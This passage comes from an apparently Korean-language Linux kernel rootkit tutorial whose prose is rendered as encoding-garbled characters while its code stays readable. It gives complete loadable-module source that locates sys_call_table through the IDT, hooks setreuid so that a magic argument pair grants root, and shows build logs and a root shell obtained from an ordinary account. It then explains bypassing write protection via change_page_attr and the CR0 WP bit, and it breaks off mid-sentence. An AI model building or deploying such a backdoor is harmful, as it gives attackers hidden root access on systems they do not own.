ÀÌÁ¦ IDT tableÀ» ÀÌ¿ëÇؼ­ sys_call_tableÀÇ ÁÖ¼Ò¸¦ ã´Â ¸¶Áö¸· ·çƾÀ» »ìÆ캸°Ú½À´Ï´Ù. -------------------------------------------------------------------------------------------- int cnt; unsigned int sys_call_off; char pattern[] = "\xff\x14\x85"; for( cnt = 0 ; cnt < 500 ; cnt++, sys_call_off++ ) { if( !strncmp( (char *)sys_call_off , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_call_off +strlen(pattern)))); } return NULL; -------------------------------------------------------------------------------------------- ÀÌÀü¿¡ ±¸Çß´ø system_call() ÇÔ¼öÀÇ ½ÃÀÛ ÁÖ¼Ò °ªÀ» Áõ°¡½ÃÅ°¸ç pattern º¯¼ö¿¡ ÀÖ´Â °ª°ú ºñ±³ÇÏ´Â ÀÛ¾÷À» ¹Ýº¹ÇÕ´Ï´Ù. ¸¸¾à ÆÐÅÏ °ª°ú ÀÏÄ¡ÇÏ´Â ºÎºÐÀ» ãÀ¸¸é ÇØ´ç ÁÖ¼Ò °ª¿¡¼­ ÆÐÅÏ °ªÀÇ ±æÀ̸¦ ´õÇÑ À§Ä¡¸¦ ¹ÝȯÇÕ´Ï´Ù. ¿©±â¼­ ÆÐÅÏ °ªÀº sys_call_tableÀÇ È£Ã⠺κп¡¼­ ÃßÃßÃâÇÑ °ÍÀ¸·Î ÇØ´ç ¾î¼Àºí¸® Äڵ带 ±â°è¾î·Î ³ªÅ¸³»¸é ´ÙÀ½°ú °°½À´Ï´Ù. -------------------------------------------- sys_call_tableÀÇ ÁÖ¼Ò¸¦ 0x11223344 ¶ó°í °¡Á¤ ------------------------------------------------------------------- [hkpco@ns kernel]$ cat code.s .section .text .globl _start _start: call *0x11223344(,%eax,4) // ÄÄÆÄÀÏ [hkpco@ns kernel]$ as code.s -o code.o [hkpco@ns kernel]$ ld code.o -o code // µð½º¾î¼Àºí [hkpco@ns kernel]$ objdump -d code code: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: ff 14 85 44 33 22 11 call *0x11223344(,%eax,4) ------------------------------------------------------------------- sys_call_tableÀÇ ÁÖ¼Ò¸¦ 0x11223344À¸·Î °¡Á¤ÇÏ°í ±â°è¾î Äڵ带 Ãâ·ÂÇØ º¸¸é [ff 14 85 44 33 22 11] À̶ó´Â °ªÀÌ ³ª¿À´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ¿©±â¼­ [ff 14 85]¸¦ ÆÐÅÏ °ªÀ¸·Î Á¤ÇÏ°í system_call()ÀÇ ½ÃÀÛ ÁÖ¼ÒºÎÅÍ ÇÑ ¹ÙÀÌÆ®¾¿ Áõ°¡½ÃÅ°¸ç [ff 14 85]¿Í ÀÏÄ¡ ÇÏ´Â ÁÖ¼Ò¸¦ ãÀ¸¸é ¿©±â¼­ ÆÐÅÏÀÇ ±æÀÌ(3byte)¸¦ ´õÇؼ­ ÃÖÁ¾ÀûÀ¸·Î sys_call_tableÀÇ ÁÖ¼Ò °ªÀÎ [44 33 22 11]À» ±¸ÇÒ ¼ö ÀÖ´Â °Í ÀÔ´Ï´Ù. ¸¸¾à 500¹øÀÇ ¹Ýº¹¹® ¾È¿¡ ÇØ´ç ÆÐÅÏ°ú ÀÏÄ¡ÇÏ´Â ºÎºÐÀ» ãÀ» ¼ö ¾ø´Ù¸é NULLÀ» ¹ÝȯÇÕ´Ï´Ù. ½¬¿î ÀÌÇظ¦ À§ÇØ ÇØ´ç °úÁ¤À» °£´ÜÈ÷ ³ªÅ¸³»¸é ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------------------------ address of sys_call_table = 0x11223344 address of system_call() = 0xc0000000 OFFSET = 0xc0000000 OFFSETÀ» Áõ°¡½ÃÅ°¸ç ÆÐÅÏ °ª(\xff\x14\x85)°ú ºñ±³ ¸¸¾à ÀÏÄ¡ÇÑ´Ù¸é OFFSETÀÌ °¡¸®Å°´Â ÁöÁ¡Àº ´ÙÀ½°ú °°À½ ---------------------- ->ff 14 85 44 33 22 11 ---------------------- ¿©±â¼­ ÆÐÅÏ°ªÀÇ ±æÀÌ(3byte)¸¦ ´õÇØÁÖ¸é OFFSETÀÌ °¡¸®Å°´Â ÁöÁ¡Àº ´ÙÀ½°ú °°À½ ---------------------- ff 14 85 ->44 33 22 11 ---------------------- Áï, ÀÌ´Â sys_call_tableÀÇ ÁÖ¼Ò°¡ µÊ ------------------------------------------------ Áö±Ý±îÁö ¼³¸íÇÑ °¢ ÄÚµåµéÀÌ Á¶ÇÕµÈ ÃÖÁ¾ ¿Ï¼ºº»Àº ´ÙÀ½°ú °°½À´Ï´Ù. -------------------------------------------------------------------------------------------------- unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset +strlen(pattern)))); } return NULL; } -------------------------------------------------------------------------------------------------- ±×·³ ÀÌÁ¦ ½ÇÁ¦ Ä¿³Î ¸ðµâÀ» ÅëÇÏ¿© ÇØ´ç Äڵ尡 Á¤»óÀûÀ¸·Î µ¿ÀÛÇÏ´ÂÁö Å×½ºÆ® ÇØ º¸°Ú½À´Ï´Ù. =- idt.c -= #include #include #include #include #include #include #include #include void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset +strlen(pattern)))); } return NULL; } int __init hk_init( void ) { sys_call_table = (void **)get_sys_call_table(); if( sys_call_table == NULL ) { printk( KERN_ALERT "Can not found the sys_call_table address\n" ); return -1; } orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { sys_call_table[__NR_setreuid32] = orig_setreuid; printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= ´ÙÀ½Àº ¼Ò½º Äڵ带 ÄÄÆÄÀÏ ÇϱâÀ§ÇÑ Makefile ÀÔ´Ï´Ù. =- Makefile -= obj-m := finding.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.ko rm -rf *.mod.* rm -rf .*.cmd rm -rf *.o =- End Of Code -= ´ÙÀ½Àº ¸ðµâÀ» ÄÄÆÄÀÏÇÑ µÚ Ä¿³Î¿¡ ·ÎµåÇÏ´Â °úÁ¤ÀÔ´Ï´Ù. ---------------------------------------------------------------------------- [root@localhost kernel]# make make -C /lib/modules/2.6.11-1.1369_FC4smp/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' CC [M] /root/kernel/finding.o Building modules, stage 2. MODPOST CC /root/kernel/finding.mod.o LD [M] /root/kernel/finding.ko make[1]: Leaving directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' [root@localhost kernel]# insmod finding.ko ---------------------------------------------------------------------------- ¸¶Áö¸·À¸·Î hkpco °èÁ¤¿¡¼­ ·çƮŶÀÌ Á¤»ó ÀÛµ¿ÇÏ´ÂÁö Å×½ºÆ® Çغ¸°Ú½À´Ï´Ù. ------------------------------------------------------------------------------------ [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=user_u:system_r:unconfined_t [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.00# id uid=0(root) gid=0(root) groups=500(hkpco) context=user_u:system_r:unconfined_t ------------------------------------------------------------------------------------ 0x7. Goodbye Write Protection - Kernel API ƯÁ¤ ¸®´ª½º ¹èÆ÷ÆÇÀÇ Ä¿³Î¿¡¼­´Â sys_call_tableÀÇ ³²¿ëÀ» ¸·±â À§ÇÏ¿© sys_call_tableÀ» .rdata ¿µ¿ªÀ¸·Î À̵¿½ÃÄѼ­ ¾²±â±ÇÇÑÀ» Á¦°ÅÇß½À´Ï´Ù. ±×·¡¼­ »ç¿ëÀÚ°¡ ÀÛ¼ºÇÑ ÀÓÀÇÀÇ ÇÔ¼ö·Î sys_call_tableÀÇ Æ¯Á¤ ½Ã½ºÅÛ ÄÝÀ» ´ëüÇÏ·Á´Â ½Ãµµ¸¦ Çصµ ÇØ´ç ¿µ¿ª¿¡ ¾²±â ±ÇÇÑÀÌ ¾ø±â ¶§¹®¿¡ Ä¿³Î¿¡¼­ ¿¡·¯¸¦ ¹ß»ý½ÃÅ°°Ô µË´Ï´Ù. ´ÙÀ½Àº ½ÇÁ¦·Î sys_call_tableÀÇ »ç¿ëÀ» ¸·±â À§ÇÏ¿© ½Éº¼À» .rdata·Î À̵¿ ½ÃŲ ½Ã½ºÅÛ¿¡¼­ Ä¿³Î ¸ðµâÀ» ¿Ã·ÈÀ» ¶§ÀÇ °á°úÀÔ´Ï´Ù. ÇØ´ç ¸ðµâÀº ÀÌÀü Àå¿¡¼­ »ç¿ëÇß´ø hkm_sysmap.ko ÀÔ´Ï´Ù. --------------------------------------------------------------------------------------- [root@localhost kernel]# insmod hkm_sysmap.ko Segmentation fault [root@localhost kernel]# Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: Oops: 0003 [#1] Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: SMP Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: CPU: 1 Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: EIP is at hk_init+0x24/0x2c [hkm_sysmap] . . . Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: EIP: [] hk_init+0x24/0x2c [hkm_sysmap] SS:ESP 0068:f6171ec8 --------------------------------------------------------------------------------------- sys_call_table¿¡ ¾²±â ±ÇÇÑÀÌ ¾ø±â ¶§¹®¿¡ ¿¡·¯ ¸Þ½ÃÁö°¡ ¹ß»ýÇÑ°ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ±ÇÇÑÀ» Á÷Á¢ È®ÀÎÇϱâ À§ÇÏ¿© System.map¿¡ ±â·Ï µÈ sys_call_tableÀÇ Á¤º¸¸¦ »ìÆ캸°Ú½À´Ï´Ù. ------------------------------------------------------------------------------ [root@localhost kernel]# cat /boot/System.map-`uname -r` | grep sys_call_table c06104e0 R sys_call_table ------------------------------------------------------------------------------ ù ¹ø°¿Í ¼¼ ¹ø° Çʵå´Â °¢°¢ ½Éº¼ÀÇ ÁÖ¼Ò°ª°ú ½Éº¼ À̸§À» ³ªÅ¸³À´Ï´Ù. ÁÖ¸ñÇØ¾ß ÇÒ ºÎºÐÀº µÎ ¹ø° ÇʵåÀε¥ ¿©±â¼­ ¶æÇÏ´Â RÀº ÇØ´ç ½Éº¼ÀÌ .rdata ¿µ¿ª¿¡ Á¸ÀçÇÑ´Ù´Â ¶æÀÌ¸ç ´Ù½Ã¸»ÇØ Àбâ Àü¿ëÀÓÀ» ÀǹÌÇÕ´Ï´Ù. ±×·¡¼­ ¸ðµâÀ» Ä¿³Î¿¡ ·ÎµåÇÒ ¶§ sys_call_table ¿¡ ¾²±â¸¦ ½ÃµµÇÏ´Â Äڵ忡¼­ ¿¡·¯°¡ ¹ß»ýÇÏ°Ô µÇ´Â °ÍÀÔ´Ï´Ù. ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------------------------ orig_setreuid = sys_call_table[__NR_setreuid32]; // ERROR!! sys_call_table[__NR_setreuid32] = hk_setreuid; ------------------------------------------------ sys_call_tableÀÌ .rdata¿µ¿ª¿¡ À§Ä¡ÇÏ´Â ½Ã½ºÅÛ¿¡¼­ sys_call_tableÀ» ÀÌ¿ëÇÏ´Â ¹æ¹ýÀº ÇØ´ç ±ÇÇÑÀ» ¹Ù²Ù¾î ÁÖ¸é °£´ÜÇÏ°Ô ÇØ°á ÇÒ ¼ö ÀÖ½À´Ï´Ù. Ä¿³Î ¿µ¿ª¿¡¼­ ±ÇÇÑÀ» º¯°æÇØ ÁÖ´Â ÇÔ¼öÀÇ ¿øÇüÀº ´ÙÀ½°ú °°½À´Ï´Ù. ----------------------------------- linux/include/asm-i386/cacheflush.h --------------------------------------------------------------------- int change_page_attr(struct page *page, int numpages, pgprot_t prot); --------------------------------------------------------------------- ù ¹ø° ÀÎÀÚ´Â ¼Ó¼ºÀ» º¯°æÇÒ °¡»ó ÁÖ¼ÒÀÇ page ±¸Á¶Ã¼, µÎ ¹ø° ÀÎÀÚ´Â ÆäÀÌÁöÀÇ °¹¼ö, ¼¼ ¹ø° ÀÎÀÚ´Â º¯°æÇÒ ±ÇÇÑÀ» ´ãÀº prot ±¸Á¶Ã¼°¡ µË´Ï´Ù. ¿©±â¼­ º¯°æÀ» ¿øÇÏ´Â sys_call_tableÀº ÇöÀç °¡»ó ÁÖ¼Ò »óÅ·Πº¼ ¼ö ÀÖÀ¸¸ç change_page_attr() ÇÔ¼öÀÇ Ã¹ ¹ø° ÀÎÀÚ¿¡ Àû¿ëÇϱâ À§Çؼ­´Â °¡»ó ÁÖ¼ÒÀÇ page ±¸Á¶Ã¼¸¦ ±¸ÇØ¾ß ÇÕ´Ï´Ù. ´ÙÀ½Àº °¡»ó ÁÖ¼ÒÀÇ page ±¸Á¶Ã¼¸¦ ¹ÝȯÇÏ´Â ¸ÅÅ©·ÎÀÔ´Ï´Ù. ----------------------------- linux/include/asm-i386/page.h ---------------------------------------------------------------------- #define virt_to_page(kaddr) pfn_to_page(__pa(kaddr) >> PAGE_SHIFT) ---------------------------------------------------------------------- ¶Ç Çϳª Áß¿äÇÑ °ÍÀº change_page_attr() ÇÔ¼ö¸¦ ½ÇÁ¦ ±¸ÇöÇØ ³õÀº [linux/arch/i386/mm/pageattr.c]¿¡ ±â¼ú µÈ ÁÖ¼®¹®À» ÀÐ¾î º¸¸é ÇÔ¼ö »ç¿ë µÚ¿¡´Â ¹Ýµå½Ã global_flush_tlb() ÇÔ¼ö¸¦ È£ÃâÇØ¾ß ÇÑ´Ù°í ¾ð±ÞÇÏ°í ÀÖ½À´Ï´Ù. global_flush_tlb() ÇÔ¼ö´Â TLB cache¸¦ ºñ¿öÁÖ´Â ÀÛ¾÷À» ¼öÇàÇÏ¸ç ´ÙÀ½°ú °°ÀÌ Á¤ÀǵǾî ÀÖ½À´Ï´Ù. ----------------------------------- linux/include/asm-i386/cacheflush.h ----------------------------------- void global_flush_tlb(void); ----------------------------------- ¿©±â¼­ TLB¶õ, º¯È¯ ÂüÁ¶ ¹öÆÛ(Translation Lookaside Buffer)ÀÇ ¾àÀÚÀÌ¸ç °¡»ó ÁÖ¼Ò¸¦ ¹°¸® ÁÖ¼Ò·Î º¯È¯ÇÏ´Â ÀÛ¾÷ÀÇ È¿À²¼ºÀ» À§ÇØ ¸¸µé¾îÁø °ÍÀÔ´Ï´Ù. º¯°æµÈ ¹°¸® ÁÖ¼Ò¿Í ±ÇÇÑ Á¤º¸¸¦ ¸Þ¸ð¸® º¸´Ù Á¢±Ù ½Ã°£ÀÌ ºü¸¥ ij½Ã ¸Þ¸ð¸®, Áï TLB ¿£Æ®¸®¿¡ ÀúÀåÇØ µÐ ÀÌÈÄ ´ÙÀ½¹ø¿¡ º¯È¯ ÀÛ¾÷À» ¼öÇàÇÒ ¶§´Â TLB¸¦ Âü°íÇÏ¿© Á¢±Ù ¼Óµµ¸¦ Çâ»ó½ÃÅ°´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù. CPU°¡ ƯÁ¤ ÆäÀÌÁö(Page)¿¡ Á¢±ÙÇÒ ¶§´Â ÁÖ¼Ò º¯È¯À» À§ÇØ TLB ¿£Æ®¸®¸¦ Ž»öÇÑ µÚ Á¤º¸¸¦ ãÀ» ¼ö ¾ø´Ù¸é ¸Þ¸ð¸®¿¡ ÀÖ´Â ÆäÀÌÁö¿¡ Á¢±ÙÇϴµ¥ ¸¸¾à ƯÁ¤ ÆäÀÌÁöÀÇ ¼Ó¼ºÀÌ º¯°æµÉ °æ¿ì¿¡´Â ¸Þ¸ð¸®»óÀÇ ÆäÀÌÁö Å×ÀÌºí ¿£Æ®¸®(PTE)ÀÇ ¼Ó¼ºÀº ¹Ù²îÁö¸¸ ij½Ã ¸Þ¸ð¸®ÀÎ TLB ¿£Æ®¸®ÀÇ ¼Ó¼ºÀº º¯°æµÇÁö ¾ÊÀ» ¼öµµ ÀÖ½À´Ï´Ù. ±×·¡¼­ ÆäÀÌÁö ±ÇÇÑ º¯°æ ÈÄ¿¡´Â global_flush_tlb() ÇÔ¼ö¿Í °°ÀÌ TLB ¿£Æ®¸®¸¦ ºñ¿öÁÖ´Â ÀÛ¾÷À» ¼öÇàÇϸé ÀÌÈÄ¿¡ º¯°æ µÈ ±ÇÇÑÀÇ ÆäÀÌÁö¿¡ Á¢±ÙÇÒ °æ¿ì TLB ¿£Æ®¸®°¡ ºñ¾îÀÖÀ¸¹Ç·Î ¼öÁ¤ µÈ Á¤º¸·Î »õ·Ó°Ô ¾÷µ¥ÀÌÆ® µÇ´Â °ÍÀÔ´Ï´Ù. Á¤¸®Çϸé, ÆäÀÌÁö ¼Ó¼ºÀ» º¯°æÇÏ¸é ¸ÞÀÎ ¸Þ¸ð¸®»óÀÇ Á¤º¸´Â º¯°æµÇÁö¸¸ ij½Ã ¸Þ¸ð¸®¿¡ Á¸ÀçÇÏ´Â TLB ¿£Æ®¸®¿¡ ÀúÀåµÈ ÆäÀÌÁöÀÇ ¼Ó¼º Á¤º¸´Â º¯°æµÇÁö ¾ÊÀ» ¼öµµ ÀÖÀ½¿¡µµ ºÒ±¸ÇÏ°í Ä¿³ÎÀº ij½Ã¸¦ ºñ¿öÁÖ´Â ÀÛ¾÷À» ¾Ë¾Æ¼­ ¼öÇàÇÏÁö ¾Ê½À´Ï´Ù. ÀÌ·¯ÇÑ °æ¿ì ¶§¹®¿¡ Á÷Á¢ TLB ¿£Æ®¸®¸¦ ºñ¿ì°í »õ·Î¿î Á¤º¸·Î ä¿öÁö°Ô Çϱâ À§Çؼ­ ¼Ó¼º º¯°æ ÀÌÈÄ¿¡ ¹Ýµå½Ã global_flush_tlb() ÇÔ¼ö¸¦ »ç¿ëÇÏ´Â °ÍÀÔ´Ï´Ù. Áö±Ý±îÁö ¼Ò°³ÇÑ change_page_attr(), virt_to_page(), global_flush_tlb()¸¦ ÀÌ¿ëÇÏ¿© sys_call_table¿¡ ¾²±â ±ÇÇÑÀ» Ãß°¡½ÃÅ°´Â ·çƾÀº ´ÙÀ½°ú °°½À´Ï´Ù. ----------------------------------------------- 1 | struct page *pg; 2 | pgprot_t prot; 3 | 4 | pg = virt_to_page(sys_call_table); 5 | prot.pgprot = VM_READ | VM_WRITE | VM_EXEC; 6 | 7 | change_page_attr( pg , 1 , prot ); 8 | global_flush_tlb(); ----------------------------------------------- 1, 2¹ø° ¶óÀο¡¼­ °¢°¢ ÆäÀÌÁö Á¤º¸¸¦ °¡¸®Å°±â À§ÇÑ ±¸Á¶Ã¼ Æ÷ÀÎÅÍ¿Í ±ÇÇÑ ¼³Á¤À» À§ÇÑ pgprot_t ±¸Á¶Ã¼ º¯¼ö¸¦ ¼±¾ðÇÕ´Ï´Ù. 4¹ø° ¶óÀο¡¼­´Â virt_to_page() ¸ÅÅ©·Î¸¦ ÅëÇÏ¿© ¹Ýȯ µÈ sys_call_tableÀÇ ÆäÀÌÁö ±¸Á¶Ã¼¸¦ pg°¡ °¡¸®Å°°í ÀÖ½À´Ï´Ù. 5¹ø° ¶óÀο¡¼­´Â Àбâ, ¾²±â, ½ÇÇà ¼Ó¼ºÀ» ºÎ¿©Çϱâ À§ÇØ °¢ Ç÷¡±×¸¦ OR ¿¬»êÇÑ °ªÀ» ÀúÀåÇÕ´Ï´Ù. ¸¶Áö¸· 7, 8 ¹ø° ¶óÀÎÀº sys_call_tableÀÇ ±ÇÇÑÀ» º¯°æÇÏ°í TLB ¿£Æ®¸®¸¦ ºñ¿öÁÖ´Â ÀÛ¾÷À» ¼öÇàÇÕ´Ï´Ù. ´ÙÀ½Àº ÀÌÀü¿¡ ¼³¸íÇß´ø hkm_sysmap.c¿¡ ÇØ´ç ·çƾÀ» Ãß°¡½ÃŲ ÄÚµåÀÔ´Ï´Ù. =- hkm_sysmap-api.c -= #include #include #include #include #include #include #include #include #include #include void **sys_call_table = (void **)0xc06104e0; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } int __init hk_init( void ) { /* sys_call_table ¼Ó¼º º¯°æ ·çƾ ½ÃÀÛ */ struct page *pg; pgprot_t prot; pg = virt_to_page(sys_call_table); prot.pgprot = VM_READ | VM_WRITE | VM_EXEC; change_page_attr( pg , 1 , prot ); global_flush_tlb(); /* sys_call_table ¼Ó¼º º¯°æ ·çƾ ³¡ */ orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { sys_call_table[__NR_setreuid32] = orig_setreuid; printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= ´ÙÀ½Àº ÇØ´ç ¼Ò½º Äڵ带 ÄÄÆÄÀÏ ÇϱâÀ§ÇÑ MakefileÀÔ´Ï´Ù. =- Makefile -= obj-m := hkm_sysmap-api.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.ko rm -rf *.mod.* rm -rf .*.cmd rm -rf *.o =- End Of Code -= ´ÙÀ½Àº ¸ðµâÀ» ÄÄÆÄÀÏÇÑ µÚ Ä¿³Î¿¡ ·ÎµåÇÏ´Â °úÁ¤ÀÔ´Ï´Ù. ------------------------------------------------------------------------- [root@localhost kernel]# make make -C /lib/modules/2.6.18-1.2798.fc6/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.18-1.2798.fc6-i586' CC [M] /root/kernel/hkm_sysmap-api.o Building modules, stage 2. MODPOST CC /root/kernel/hkm_sysmap-api.mod.o LD [M] /root/kernel/hkm_sysmap-api.ko make[1]: Leaving directory `/usr/src/kernels/2.6.18-1.2798.fc6-i586' [root@localhost kernel]# insmod hkm_sysmap-api.ko ------------------------------------------------------------------------- ¸¶Áö¸·À¸·Î hkpco °èÁ¤¿¡¼­ ·çƮŶÀÌ Á¤»ó ÀÛµ¿ÇÏ´ÂÁö Å×½ºÆ® Çغ¸°Ú½À´Ï´Ù. ------------------------------------------------------------------------------------------------------- [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.1# id uid=0(root) gid=0(root) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh ------------------------------------------------------------------------------------------------------- óÀ½ºÎÅÍ ¾²±â ¼Ó¼ºÀÌ Á¸ÀçÇÏ´Â ½Ã½ºÅÛÀ» À§Çؼ­ sys_call_tableÀÇ ¼Ó¼ºÀ» ¹Ì¸® üũÇÏ´Â ÀÛ¾÷ÀÌ Ãß°¡µÇ¾î¾ß ÇÏÁö¸¸ ¾ÆÁ÷±îÁø ÀÌ·¯ÇÑ ÇÔ¼ö°¡ Á¸ÀçÇÏÁö ¾ÊÀ¸¹Ç·Î Á÷Á¢ ¼Ó¼ºÀ» üũÇÏ´Â Äڵ带 Á¦ÀÛÇØ¾ß ÇÕ´Ï´Ù. ÇÏÁö¸¸ ±×·¸°Ô µÇ¸é ÀüüÀûÀÎ Äڵ尡 ´õ º¹ÀâÇØ Áö°í ¿ø·¡ ¾²±â ¼Ó¼ºÀÌ ÀÖ´Â ÆäÀÌÁö¿¡ Çѹø ´õ ¾²±â ¼Ó¼ºÀ» Ãß°¡ÇÏ´Â ÀÛ¾÷À» ¼öÇàÇÑ´Ù°í Çصµ Ưº°È÷ ¹®Á¦µÉ °ÍÀº ¾øÀ¸¹Ç·Î º» ¹®¼­¿¡¼­´Â »ý·« Çϵµ·Ï ÇÏ°Ú½À´Ï´Ù. 0x8. Goodbye Write Protection - WP bit in CR0 Register CPU ±â´ÉÀÇ Á¦¾î¸¦ À§ÇÏ¿© Á¦°øµÇ´Â ÄÁÆ®·Ñ ·¹Áö½ºÅ͵é Áß ÇϳªÀÎ CR0ÀÇ WP(Write Protect) ºñÆ®¸¦ º¯°æÇÏ¿© ÆäÀÌÁöÀÇ ¾²±â ±ÇÇÑÀ» ¹«·ÂÈ­ ½ÃÅ°´Â ¹æ¹ýÀÔ´Ï´Ù. ´ÙÀ½Àº CR0 ·¹Áö½ºÅÍÀÇ °¢ ºñÆ®°¡ ÀǹÌÇÏ´Â °Í¿¡ ´ëÇÏ¿© °£´ÜÈ÷ µµ½ÄÈ­ ÇÑ °ÍÀÔ´Ï´Ù. 0 1 2 3 4 5 6 15 16 17 18 19 28 29 30 31 ------------------------------------------------------------------------------------------------- | PE | MP | EM | TS | ET | NE | Reserved | WP | Reserved | AM | Reserved | NW | CD | PG | ------------------------------------------------------------------------------------------------- PE Paging MP Monitor co-Processor EM EMulation TS Task Switched ET Extension Type NE Numeric Error WP Write Protect AM Alignment Mask NW Not-Write through CD Cache Disable PG Paging ¿©±â¼­ ¿ì¸®°¡ ÇÊ¿äÇÑ °ÍÀº WP ºñÆ®ÀÔ´Ï´Ù. WP ºñÆ®´Â ÆäÀÌÁöÀÇ ¾²±â ¼Ó¼ºÀ» Á¦¾îÇÏ´Â ¿ªÇÒÀ» Çϴµ¥ ¸¸¾à ÇØ´ç ºñÆ®°¡ 0(off)À¸·Î ¼³Á¤µÇ¾î ÀÖ´Ù¸é ÀÌ·¯ÇÑ ÆäÀÌÁöÀÇ ¾²±â ¼Ó¼º Á¦¾î ±â´ÉÀÌ ÇØÁ¦µÇ¸ç °á°úÀûÀ¸·Î Àбâ Àü¿ë ¼Ó¼ºÀÎ sys_call_table¿¡ ¾²±â°¡ °¡´ÉÇÏ°Ô µÇ´Â °ÍÀÔ´Ï´Ù. ´ÙÀ½Àº ÀζóÀÎ ¾î¼Àºí¸®¸¦ ÀÌ¿ëÇÏ¿© CR0 ·¹Áö½ºÅÍÀÇ WP ºñÆ®¸¦ 0(off)À¸·Î ¼³Á¤ÇÏ´Â ÄÚµåÀÔ´Ï´Ù. -------------------------------------- __asm__ __volatile__ ( "pushl %eax\n\t" "pushl %ebx\n\t" "movl %cr0, %eax\n\t" "movl $0x10000, %ebx\n\t" "notl %ebx\n\t" "andl %ebx, %eax\n\t" "movl %eax, %cr0\n\t" "popl %ebx\n\t" "popl %eax" ); -------------------------------------- eax, ebx ·¹Áö½ºÅÍÀÇ »ç¿ëÀ» À§ÇÏ¿© ±âÁ¸ÀÇ µ¥ÀÌÅ͸¦ ½ºÅÿ¡ Àá½Ã ÀúÀåÇصРµÚ cr0 ·¹Áö½ºÅÍÀÇ µ¥ÀÌÅ͸¦ eax ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÑ ´ÙÀ½ WP ºñÆ®¸¦ ÀǹÌÇÏ´Â °ªÀÎ 0x10000À» ebx ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÏ°í NOT ¿¬»êÀ» ¼öÇàÇÕ´Ï´Ù. ÀÌ ÀÛ¾÷Àº WP¸¦ Á¦¿ÜÇÑ ³ª¸ÓÁö ºñÆ®µéÀÇ °ªÀÌ 1À̱⠶§¹®¿¡ eax(cr0) ·¹Áö½ºÅÍ¿Í AND ¿¬»êÀ» ¼öÇàÇÏ¿© WP ºñÆ®¸¦ 0(off)À¸·Î ¼³Á¤ÇÒ ¼ö 